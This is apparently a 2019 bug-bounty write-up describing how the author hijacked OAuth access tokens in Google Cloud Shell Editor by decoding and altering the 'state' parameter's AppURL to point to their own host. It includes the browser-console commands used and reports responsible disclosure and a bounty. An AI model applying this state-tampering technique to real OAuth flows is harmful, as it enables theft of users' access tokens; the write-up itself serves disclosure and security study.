воскресенье, 15 декабря 2019 г.

[GCP] The oauth token hijacking in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser. The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM. Also in earlier versions it allowed the run commands in the shell of virtual machine.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the https://970-dot-000000-dot-devshell.appspot.com url.

How to OAuth flow works in cloud shell

The authorization in cloud shell domain includes the 4 steps:
1. Initiation. When user without creds trying to open editor by url https://970-dot-000000-dot-devshell.appspot.com the server redirects his to accounts.google.com/o/oauth2
2. Confirm of access. When user redirected to the accounts.google.com/o/oauth2 page he grants the access to his data for application and after this step the server redirects him to devshell.appspot.com domain
3. The page in devshell.appspot.com domain takes the user's authorization code and redirects user to his editor domain with generated access token
4. Page in editor's domain takes token and gives the cookie for user.

So, when I tried to open my cloud shell editor without credentials I got the redirect to the authorization page:

https://accounts.google.com/o/oauth2/auth?client_id=618104708054-jqgabbtcm3fusmhf5hu82r7j8emh7aoa.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fdevshell.appspot.com%2F_cloudshellProxy%2Foauth2callback&response_type=code&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's look at the 'state' parameter. Looks promising:

state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's try to unpack it (I follow the examples in google chrome console):

> atob(decodeURIComponent('eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' ))
<
"{ "XSRFToken":"4lJyUdofxhnPyEbyolzW5VcwtmQ:1553939411960", "AppURL": "https://970-dot-00000-dot-devshell.appspot.com/"}"

hmmm, AppUrl property contains the my host. What if I will replace it to my host?

> var obj = JSON.parse( atob( decodeURIComponent( 'eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' )))
> obj.AppURL = "https://my.host/hi_jack?"
> encodeURIComponent(btoa(JSON.stringify(obj)))

Then I tried to authorize with this changed state parameter and got the redirect to the my host with generated token.

The Final. 

Then I crafted the page with auth links generator and full attack POC, made the video with attack and created the report.

After small delay my report got a P1 priority and after some time I got the 5K bounty :-)

Thanks :-)

1 комментарий: